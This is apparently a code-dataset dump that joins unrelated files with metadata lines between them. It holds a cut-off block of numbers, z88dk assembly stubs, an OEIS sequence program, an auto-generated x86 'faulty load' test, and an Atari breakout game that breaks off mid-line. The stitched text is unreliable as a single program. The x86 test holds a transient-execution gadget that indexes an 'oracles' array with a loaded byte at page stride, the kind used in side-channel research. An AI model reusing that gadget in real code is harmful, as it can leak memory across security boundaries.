44 46 46 46 46 34 34 46 46 46 46 45 34 46 46 49 44 46 34 44 34 46 45 34 34 44 46 46 46 46 46 46 46 34 44 45 34 44 46 46 49 46 46 34 46 46 44 46 46 46 34 46 45 46 34 46 46 34 34 46 45 34 46 46 34 44 45 34 44 46 46 34 46 46 34 46 46 34 44 46 34 46 46 34 46 45 46 46 34 46 46 34 34 46 45 46 46 46 46 45 34 46 45 46 34 46 46 34 46 44 46 44 46 34 44 46 34 46 46 46 34 46 45 46 49 46 34 46 46 34 46 44 34 46 46 46 34 44 46 34 46 45 34 44 46 34 44 45 34 46 45 46 34 44 46 34 46 46 34 44 45 46 46 49 44 46 34 34 44 46 34 34 46 46 34 46 45 46 34 44 45 34 46 46 46 46 46 34 49 46 46 34 46 46 34 44 46 34 46 46 46 34 44 45 34 44 46 34 46 34 46 45 46 46 44 45 34 44 46 34 46 34 44 46 46 34 44 46 34 46 46 34 46 45 46 34 46 45 46 34 46 46 34 44 46 34 44 45 46 34 44 46 34 44 45 46 34 46 46 34 46 46 46 34 46 46 34 34 44 46 34 44 46 34 44 46 46 45 34 46 46 34 46 45 34 46 45 46 34 49 46 46 34 44 46 46 34 44 46 46 46 46 49 46 46 46 34 44 45 46 34 46 46 46 34 44 46 46 34 44 46 34 44 46 34 44 45 34 44 45 34 46 44 46 34 46 45 46 34 44 46 34 44 44 34 44 34 44 44 34 44 34 46 45 46 34 44 34 46 45 46 34 44 34 46 45 46 34 44 46 34 46 45 34 44 34 46 46 46 46 34 44 45 34 44 45 46 34 44 46 34 46 46 34 44 45 46 46 46 34 46 46 46 44 46 34 44 45 46 34 44 46 49 46 45 46 46 44 46 34 44 45 45 46 34 44 46 34 46 46 34 34 46 46 46 34 46 44 34 49 46 46 34 44 34 46 46 34 44 46 34 46 46 34 46 34 46 44 34 44 34 44 46 34 46 46 44 46 46 34 46 45 46 34 44 45 34 44 45 34 44 46 34 46 46 34 46 45 46 34 46 46 46 34 46 45 46 46 46 34 46 46 34 34 46 46 34 44 46 44 46 34 44 46 49 44 */
31.134868
2,999
0.657052
d35fc2f3bc35c1bca150e74f4e94e3e7101a0940
116
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/acosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/acosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/acosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC _acosh EXTERN cm48_sdccix_acosh defc _acosh = cm48_sdccix_acosh
11.6
31
0.853448
aa35490699c2abcfff9a523b8cf7dacd0d186aab
519
asm
Assembly
spectranet/socklib/listen_callee.asm
speccytools/spectranet-gdbserver
c76acd970e5e8bbf793d8514bf64c32a180c26a4
[ "MIT" ]
40
2021-07-23T21:33:59.000Z
2022-02-07T19:07:46.000Z
spectranet/socklib/listen_callee.asm
speccytools/spectranet-gdbserver
c76acd970e5e8bbf793d8514bf64c32a180c26a4
[ "MIT" ]
null
null
null
spectranet/socklib/listen_callee.asm
speccytools/spectranet-gdbserver
c76acd970e5e8bbf793d8514bf64c32a180c26a4
[ "MIT" ]
2
2021-08-02T17:49:03.000Z
2021-10-09T21:53:41.000Z
; process ; int listen_callee(int sockfd, int backlog); ; The Spectranet listen() implementation currently does not take a ; backlog parameter, but it must be provided for compatibility. PUBLIC listen_callee PUBLIC ASMDISP_LISTEN_CALLEE include "spectranet.asm" .listen_callee pop hl ; return addr pop de ; int backlog ex (sp), hl ; swap socket/return address ld a, l ; socket in A .asmentry HLCALL LISTEN jr c, err ld hl, 0 ret .err ld hl, -1 ret defc ASMDISP_LISTEN_CALLEE = asmentry - listen_callee
20.76
66
0.749518
3bc2dff808ae22ba6f5b0d71ad49d94893e17a9a
1,479
asm
Assembly
libsrc/_DEVELOPMENT/string/z80/asm_strtok.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/string/z80/asm_strtok.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/string/z80/asm_strtok.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; Dec 2013 ; =============================================================== ; ; char *strtok(char * restrict s1, const char * restrict s2) ; ; Return the next token from the string being traversed. ; s2 is a string of delimiters used to identify where the next ; token ends. ; ; (1) If s1 != NULL, make s1 the new string to traverse. Else ; use the internally stored string position. ; (2) Skip over any delimiting chars at the head of the current ; string. This position becomes the start of the next token. ; (3) Find the end of the next token by searching for the first ; delimiter char. ; (4) Terminate the next token by overwriting the delimiter char ; with 0. ; (5) Update internal variable to search the string beginning ; after this terminating 0 on next call to strtok(). ; (6) Return pointer to the found token. ; ; =============================================================== SECTION code_clib SECTION code_string PUBLIC asm_strtok EXTERN __string_strtok_p EXTERN asm_strtok_r asm_strtok: ; enter : de = char *s2 = delimiters ; hl = char *s1 = string to tokenize ; ; exit : de = char *s2 = delimiters ; ; found ; ; carry set ; hl = ptr to token ; ; not found ; ; carry reset ; hl = 0 ; ; uses : af, bc, hl ld bc,__string_strtok_p jp asm_strtok_r
26.410714
65
0.553753
be4d98434a4d2dfd53cfeaf942a60ed5760d10da
5,938
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1031.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1031.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1031.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x18d2e, %r13 nop nop nop and $32374, %r11 mov $0x6162636465666768, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%r13) nop cmp $20622, %r8 lea addresses_D_ht+0x9712, %r14 nop cmp $37282, %r15 and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdx nop nop nop xor %r11, %r11 lea addresses_WC_ht+0x13892, %rsi and $51611, %r11 movw $0x6162, (%rsi) nop dec %r14 lea addresses_WC_ht+0x1b52, %r14 and $43329, %r15 vmovups (%r14), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r11 nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0x1bf12, %rsi sub %r13, %r13 movb $0x61, (%rsi) nop nop nop nop dec %r13 lea addresses_UC_ht+0x60ec, %r15 nop and $23175, %r13 mov (%r15), %esi nop nop nop nop sub %rdx, %rdx lea addresses_A_ht+0x1c112, %rsi lea addresses_UC_ht+0x16642, %rdi nop nop inc %rdx mov $28, %rcx rep movsq nop cmp $15870, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rbp push %rbx push %rdx // Store lea addresses_A+0x3b9b, %r11 nop sub $6129, %r13 mov $0x5152535455565758, %r9 movq %r9, (%r11) nop nop nop xor %r9, %r9 // Faulty Load lea addresses_RW+0x7b12, %rbp nop nop nop nop sub $59771, %rdx mov (%rbp), %r11w lea oracles, %rbp and $0xff, %r11 shlq $12, %r11 mov (%rbp,%r11,1), %r11 pop %rdx pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
40.951724
2,999
0.657292
6018955e5a6b3c7e9ecebdb99b7d052aafec4f24
698
asm
Assembly
oeis/076/A076409.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/076/A076409.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/076/A076409.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A076409: Sum of the quadratic residues of prime(n). ; Submitted by Jon Maiga ; 1,1,5,7,22,39,68,76,92,203,186,333,410,430,423,689,767,915,1072,994,1314,1343,1577,1958,2328,2525,2369,2675,2943,3164,3683,3930,4658,4587,5513,5134,6123,6520,6012,7439,7518,8145,7831,9264,9653,8955,10761,11596,12258,13053,13514,12428,14460,14809,16448,15517,18023,16802,19113,19670,19527,21389,23025,21148,24414,25043,26811,28308,29148,30363,31064,28720,31929,34689,35247,33321,37733,39303,40100,41718,41900,44205,41807,46764,44778,47844,50288,52098,53015,51856,52771,51253,57466,57938,61377,57845 seq $0,40 ; The prime numbers. sub $0,1 seq $0,228587 ; Sum of the squares (modulo n) of the odd numbers less than n.
87.25
499
0.777937
8b3108e9e32659ff1649203bd9f648b802860ad2
20,174
asm
Assembly
averybreakout.asm
pkali/Avery_Breakout
ebca02f968c8d84310b1cbff054df9646f4f75ca
[ "MIT" ]
1
2020-05-13T07:27:15.000Z
2020-05-13T07:27:15.000Z
averybreakout.asm
pkali/Avery_Breakout
ebca02f968c8d84310b1cbff054df9646f4f75ca
[ "MIT" ]
null
null
null
averybreakout.asm
pkali/Avery_Breakout
ebca02f968c8d84310b1cbff054df9646f4f75ca
[ "MIT" ]
null
null
null
;Acid Breakout - a break from the daily acid ;build 006, 2010-05-12 ;CLEAR! ;あめでと ;--------------------------------------------------- icl '../lib/atari.hea' icl '../lib/macro.hea' display=$a000 screenWidth = 80 ;in pixels maxLines = 57 ; number of lines on the screen (must be odd) spawnProbability = (256*1/5) margin = 2 ; top and bottom screen safety margin racquetPosMin = $2 ; min position of the paddle moved by the user racquetPosMax = screenWidth-8 ; max position of the paddle moved by the user racquetSize = 10 maxSpeed = 2; maximum speed of a ball. must be power of 2 ('and #' used) maxBalls = 100 ; maximum number of moving balls, <$80 (bpl used!) maxMemory = 7 ; number of saved pixel positions ;Beware! For easier calc somewhere it uses "modulo maxMemory" ;calculations and therefore this value must be a power of 2! maxBrickLines = 14 ; maximum number of lines of bricks to be eradicated .zpvar xpos ypos .word = $80 ; position of the ball .zpvar colour .byte ; colour of the pixel to plot .zpvar deXpos deYpos .byte ;position for deletion .zpvar dX dY .word ;main loop shortcuts to the table values ;.zpvar dx dy .word ;delta ;xpos, dx - "static point precision" - [dx+1].[dx] (big endian!) ;this static point precision is emulated with .word calcs, just a result is the high byte .zpvar currBall collisionCheck racquetPos MyClok eXistenZstackPtr .byte .zpvar xMemAddr yMemAddr .word ; address where to store memories of the current ball .zpvar temp .word .zpvar clearCount clearBallNr .byte .zpvar DLI_A DLI_X dliCount .byte org $2000 ;--------------------------------------------------- dl .by $80+$20 dta $4f+$20,a(display) ;VSCROLL :((maxlines-1)/2) dta a($2f8f) ;---- .by $42+$10 ;Hscroll DLracquetAddr0 .wo racquetDisp .by $41 .wo dl ;--------------------------------------------------- racquetDisp :42 .byte $0 .byte $80, $80, $80, $80, $80 :36 .byte $0 ;-------------------------------------------------- vint ;------------JOY------------- ;happy happy joy joy ;check for joystick now /* inc MyClok lda MyClok and #$07 bne jNotRight */ ldy PORTA /* tya and #$01 ;up bne jNotUp ldx joystickConversion ;up lda #1 sta keyboardGrid,x jNotUp tya and #$02 ;down bne jNotDown ldx joystickConversion+1 ;up lda #1 sta keyboardGrid,x jNotDown */ tya and #$04 ;left bne jNotLeft ldx racquetPos cpx #racquetPosMin+1 bcc jNotLeft dex stx racquetPos jNotLeft tya and #$08 ;right bne jNotRight ldx racquetPos cpx #racquetPosMax bcs jNotRight inx stx racquetPos jNotRight /* ;fire lda TRIG0 bne JNotFire ... JNotFire */ lda racquetPos sec lda #screenWidth-1 sbc racquetPos lsr clc adc #<racquetDisp sta dlracquetAddr0 lda #>racquetDisp adc #0 sta dlracquetAddr0+1 lda racquetPos lsr and #$01 ;sta HSCROL ;pos print lda racquetPos :4 lsr clc adc #'0' sta hexDump lda racquetPos and #$0F clc adc #'0' sta hexDump+1 mva #0 dliCount mva #13 VSCROL jmp XITVBV ;-------------------------------------------------- DLI sta DLI_A stx DLI_X ldx dliCount sta WSYNC lda #13 sta VSCROL lda #3 sta VSCROL txa asl asl ;lda brickColourTab,x sta COLBAK inx stx dliCount ldx DLI_X lda DLI_A rti ;-------------------------------------------------- main jsr initialize loop mva #maxBalls-1 currBall jsr cycleColours flight ldx currBall lda BalleXistenZ,x jeq ballDoesNotexist lda xposTableL,x sta xpos lda xposTableH,x sta xpos+1 lda yposTableL,x sta ypos lda yposTableH,x sta ypos+1 lda dxTableL,x sta dX lda dxTableH,x sta dX+1 lda dyTableL,x sta dY lda dYTableH,x sta dY+1 ; now, delete the oldest pixel ; lda memCycleTable,x clc adc #1 ;next position in the table cmp #maxMemory bne notMaxMem lda #0 notMaxMem sta memCycleTable,x ; memCycleTable saved tax lda xposMemTableAdrL,x sta xMemAddr lda xposMemTableAdrH,x sta xMemAddr+1 lda yposMemTableAdrL,x sta yMemAddr lda yposMemTableAdrH,x sta yMemAddr+1 ;now on zero page I've got the addressess to store the old xPos and yPos ldy currBall lda (yMemAddr),y tax lda (xMemAddr),y sta dexpos ; and erase the last point in the "snake" ;jsr deplot ;-------------------------------------------------- ;deplot ; moved here for the speeeeeed ; deyxpos, deypos (.byte) - pixel position ;-------------------------------------------------- ; let's calculate coordinates from xpos and ypos ;lda dexpos lsr tay ;--- ;ldx deypos lda lineAdrL,x sta temp lda lineAdrH,x sta temp+1 lda dexpos and #$01 tax lda (temp),y and debittable,x sta (temp),y ;move the ball!!! adw xpos dX xpos adw ypos dY ypos ;top bounce ; if ypos<margin then bounce lda ypos+1 cmp #margin bcs noTop ; assuming that here a plot can get only from below, so it is enough to switch dy sign ; sbw #$ffff dy dy ;this does not compile :( negw dY mva #margin+1 ypos+1 noTop ;bottom bounce ; if ypos>maxLines+margin then bounce lda ypos+1 cmp #maxLines+margin bcc noBottom ; check if the ball hits the racquette lda CONSOL and #%00000100 ; OPTION bne bounceNormally jmp bottomBounce ; turns off the ball kill bounceNormally lda ypos+1 cmp #maxLines+margin*2+maxSpeed*2 ; that makes the ball below the racquet bcs flyDown2 ;kinda lame optimisation as A carries ypos+1 lda racquetPos sec sbc #racquetPosMin+1 bpl racquettePlus lda #0 racquettePlus cmp xpos+1 jcs flyDown clc adc #racquetSize-1 cmp xpos+1 jcs bottomBounce flyDown lda ypos+1 flyDown2 cmp #maxLines+margin*6+maxSpeed*2 ;maximum depth bcc noBottom ballOut lda currBall eXistenZdEstroy ;destroys ball number A ;pushes one free slot to the eXistenZstack ;ends with !number of balls in X (maxBalls == end of the game) ;txa ldy eXistenZstackPtr iny sta eXistenZstack,y sty eXistenZstackPtr ;ldx currBall tax lda #0 sta balleXistenZ,x jmp flightLoopEnd bottomBounce ; assuming that here a plot can get only from below, ; so it is enough to switch dy sign ; sbw #$ffff dy dy ;this does not compile :( negw dY mva #maxLines+margin-2 ypos+1 noBottom ;left bounce lda xpos+1 cmp #margin bcs noLeft negw dX mva #margin+1 xpos+1 noLeft ;right border bounce lda xpos+1 cmp #screenWidth-margin bcc noRight negw dX mva #screenWidth-margin-1 xpos+1 noRight ;jsr plot ; the full plot copied here to get few cycles and collision ; high byte is the integer position ; low byte is the "fractional" part ; let's calculate coordinates from xpos and ypos lda xpos+1 lsr tay ;--- ldx ypos+1 lda lineAdrL,x sta temp lda lineAdrH,x sta temp+1 ldx colour lda xpos+1 and #$01 bne pRightNibble pLeftNibble lda (temp),y sta collisionCheck and #$0F ora LNColtable,x sta (temp),y lda collisionCheck and #$F0 cmp #%10000000 jne noCollision jmp plotEnd ;unconditional branch pRightNibble lda (temp),y sta collisionCheck and #$F0 ora RNColtable,x sta (temp),y lda collisionCheck and #$0F cmp #%00001000 jne noCollision plotEnd lda ypos+1 cmp #maxLines+margin-2-1 jcs noCollision ;ball is outside the screen! ;switch direction, Charles ; an idea for assuming which direction to switch - dX or dY? ; on a diagram below in the middle there is an approached brick /* \ / \-dY / \ / -dX [] -dX / \ /-dY \ / \ */ ; it means: ; if |dX|>|dY| then dX == -dX ; else dY == -dY ; get absolute values lda dX+1 bpl dXpositive ;dX is negative here lda dY+1 bpl dXneg_dYpos ;dX and dY are negative here cmp dX+1 bcc dX_gr_dY__dX_dYneg ; |dY| >= |dX| ; hour 5 negw dY jmp bounceDone dX_gr_dY__dX_dYneg ; hour 4 negw dX jmp bounceDone dXneg_dYpos ; dY in A clc adc dX+1 bpl dY_gr_dX__dXneg_dYpos ; |dX| > |dy|; hour 2 negw dX jmp bounceDone dY_gr_dX__dXneg_dYpos ; hour 1 negw dY jmp bounceDone dXpositive lda dY+1 bpl dX_dYpositive ;dX positive, dY negative clc adc dX+1 bpl dX_gr_dY__dXpos_dYneg ; hour 7 negw dY jmp bounceDone dX_gr_dY__dXpos_dYneg ; hour 8 negw dX jmp bounceDone dX_dYpositive ;(dY+1)* is in A cmp dX+1 bcc dX_gr_dY__dX_dYpos ; dY > dX ; hour 11 negw dY jmp bounceDone dX_gr_dY__dX_dYpos ; dY < dX ; hour 10 negw dX bounceDone ;spawn the new bally ; if there is still an empty slot for a new ball somewhere... ;lda RANDOM ;cmp #spawnProbability ;bcs noCollision lda colour cmp #1 bne noCollision eXistenZcReate ;creates a new ball ;removes one free slot from the eXistenZstack ;ends with ball number in X ;ends with zero when there is no free slot for a ball ldy eXistenZstackPtr beq noMoreSlots lda eXistenZstack,Y dey sty eXistenZstackPtr tax ;OK, in X there is an empty slot for a ball ;spawn it lda #1 sta balleXistenZ,x lda xPos sta xPosTableL,x lda xPos+1 sta xPosTableH,x lda yPos sta yPosTableL,x lda yPos+1 sta yPosTableH,x ; random initial speed and direction lda random bpl dXplus lda #-1 sta dxTableH,x bne dXlower dXplus lda #1 sta dxTableH,x dXlower lda random sta dxTableL,x ;randomize 1 maxSpeed-1 ;dy can not be too small or the game would take forever lda #1 sta dyTableH,x lda random sta dyTableL,x ; sound ;lda random ;and #%00001000 ;lda #%00000000 ;sta consol noCollision noMoreSlots flightLoopEnd ;end of the cycle for one ball ;save the changes now ldx currBall ; let's save the position for the future erase ; old position of ball(currBall) is saved here ; in table nr memCycleTable(currBall) ldy currBall lda xpos+1 ;high byte is the integer position sta (xMemAddr),y lda ypos+1 sta (yMemAddr),y ; saved lda xpos sta xposTableL,x lda xpos+1 sta xposTableH,x lda ypos sta yposTableL,x lda ypos+1 sta yposTableH,x lda dX sta dxTableL,x lda dX+1 sta dxTableH,x lda dY sta dyTableL,x lda dY+1 sta dYTableH,x endOfBallzLoop ;pause dec currBall jpl flight pause 0;all balls lda eXistenZstackPtr cmp #maxBalls jne loop ;game over gameOver lda RANDOM and #$07 sta COLPM0 jmp gameOver ;------------------- ballDoesNotexist ;a delay loop for a ball that does not really exist (yet) ldx #70 delayLoop dex bne delayLoop jmp endOfBallzLoop ;-------------------------------------------------- fatplot ; xpos, ypos (.byte) - pixel position ; xpos<80 ; pixel colour in "colour" ;-------------------------------------------------- ; let's calculate coordinates from xpos and ypos lda xpos lsr tay ;--- ldx ypos lda lineAdrL,x sta temp lda lineAdrH,x sta temp+1 ldx colour lda xpos and #$01 bne fpRightNibble fpLeftNibble lda (temp),y and #$0F ora LNColtable,x sta (temp),y rts fpRightNibble lda (temp),y and #$F0 ora RNColtable,x sta (temp),y rts ;-------------------------------------------------- fatdeplot ; deyxpos, deypos (.byte) - pixel position ;-------------------------------------------------- ; let's calculate coordinates from xpos and ypos lda dexpos lsr tay ;--- ldx deypos lda lineAdrL,x sta temp lda lineAdrH,x sta temp+1 lda dexpos and #$01 tax lda (temp),y and debittable,x sta (temp),y rts ;-------------------------------------------------- clearDeadBall ;-------------------------------------------------- ;dead ball in clearBallNr ldx #maxMemory-1 stx clearCount clearDeadLoop ldx clearCount lda xposMemTableAdrL,x sta xMemAddr lda xposMemTableAdrH,x sta xMemAddr+1 lda yposMemTableAdrL,x sta yMemAddr lda yposMemTableAdrH,x sta yMemAddr+1 ;now on zero page I've got the addressess to store the old xPos and yPos ldy clearBallNr lda (xMemAddr),y sta dexpos lda (yMemAddr),y sta deypos jsr fatdeplot dec clearCount bpl clearDeadLoop rts ;-------------------------------------------------- clearScreen ;-------------------------------------------------- lda #0 tax Loopi1 :(maxLines*40/256+1) sta display+$100*#,x inx bne Loopi1 rts ;-------------------------------------------------- cycleColoursReset ldy #6 cycleRloop lda colourCycleTabReset,y sta colourCycleTab,y dey bpl cycleRloop mva #0 colour ;-------------------------------------------------- cycleColours ;-------------------------------------------------- inc colour lda colour cmp #8 bne noColourReset mva #1 colour noColourReset ldy #6 cycleCloop lda colourCycleTab,y ;sta COLPM1,y sta COLPM1S,y dey bpl cycleCloop ;shift colours /* 2 2 4 2 4 6 2 4 6 8 2 4 6 8 10 2 4 6 8 10 12 2 4 6 8 10 12 14 4 6 8 10 12 14 2 6 8 10 12 14 2 4 8 10 12 14 2 4 6 10 12 14 2 4 6 8 12 14 2 4 6 8 10 14 2 4 6 8 10 12 2 4 6 8 10 12 14 4 6 8 10 12 14 6 8 10 12 14 8 10 12 14 10 12 14 12 14 14 261 262 263 264 265 266 267 */ cct = colourCycleTab ldx cct+6 mva cct+5 cct+6 mva cct+4 cct+5 mva cct+3 cct+4 mva cct+2 cct+3 mva cct+1 cct+2 mva cct+0 cct+1 stx cct+0 rts colourCycleTab .by 14,2,4,6,8,10,12 colourCycleTabReset .by 14,2,4,6,8,10,12 brickColourTab .by 0 ;-------------------------------------------------- initialize ;-------------------------------------------------- mva #$00 COLPM0S ; = $02C0 ;- - rejestr-cień COLPM0 jsr cycleColoursReset mva #$7C COLBAKS mva #0 dliCount jsr clearscreen jsr drawBricks lda dmactls and #$fc ora #$02 ; normal screen width ;ora #$01 ; narrow screen width sta dmactls mwa #dl dlptrs vdli DLI ; prepare mem address tables (for "snake" routine) ;first address initialized mva #<xposMemTable xposMemTableAdrL mva #>xposMemTable xposMemTableAdrH mva #<yposMemTable yposMemTableAdrL mva #>yposMemTable yposMemTableAdrH ;now add maxBalls to the following addresses ;just take the previous one and add "maxBalls" ldx #0 initLoop1 clc lda xposMemTableAdrL,x adc #<maxBalls ; maxBalls <$80 sta xposMemTableAdrL+1,x lda xposMemTableAdrH,x adc #>maxBalls ; maxBalls <$80, so it is == 0 sta xposMemTableAdrH+1,x clc lda yposMemTableAdrL,x adc #<maxBalls ; maxBalls <$80 sta yposMemTableAdrL+1,x lda yposMemTableAdrH,x adc #>maxBalls ; maxBalls <$80, so it is == 0 sta yposMemTableAdrH+1,x inx cpx #maxMemory-1 bne initLoop1 ;snake memory addressess initialized! ;clear the balleXistenZ (nothing is bouncing!) ;and other tables ldx #0 txa eXistenZclearLoop sta balleXistenZ,x sta dxTableL,x sta 